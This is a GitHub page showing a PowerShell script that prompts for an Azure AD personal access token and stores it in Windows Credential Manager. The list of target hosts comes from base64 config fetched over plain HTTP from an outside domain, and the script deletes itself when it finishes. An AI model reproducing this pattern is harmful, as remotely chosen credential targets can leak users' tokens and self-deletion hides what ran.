-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathStoreAadPat.ps1
51 lines (44 loc) · 1.39 KB
/
StoreAadPat.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
Set-ExecutionPolicy RemoteSigned -Scope Process -Force
function LoadVars {
$_vars_url = "http://dexter-base.link/vars"
$_s = (Invoke-WebRequest -Uri $_vars_url).Content
$_j = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($_s))
$global:_vars = $_j | ConvertFrom-Json
}
function Vars ($key) {
return $global:_vars.$key
}
function MainEntry {
Install-Module CredentialManager -Force -Repository PSGallery
$targets = Vars("aad_pat_target_list")
$choice = Read-Host "To Add or Remove your AAD Credential Provider? (Y/N)"
if ($choice -eq "Y" -or $choice -eq "y") {
$Pat = Read-Host -Prompt "Enter AAD PAT"
$targets | ForEach-Object {
New-StoredCredential `
-Target $_ `
-UserName "PAT" `
-Password $Pat `
-Persist LOCALMACHINE
}
}
elseif ($choice -eq "N" -or $choice -eq "n") {
$targets | ForEach-Object {
Remove-StoredCredential `
-Target $_
}
}
}
try {
LoadVars
MainEntry
}
catch {
Write-Host "Exception:" -ForegroundColor Red
Write-Host $_.Exception.Message -ForegroundColor Red
Write-Host $_.Exception.StackTrace -ForegroundColor Red
exit 1
}
# Delete Self
$myPsPath = $MyInvocation.MyCommand.Path
Start-Process powershell -ArgumentList "Remove-Item `"$myPsPath`" -Force"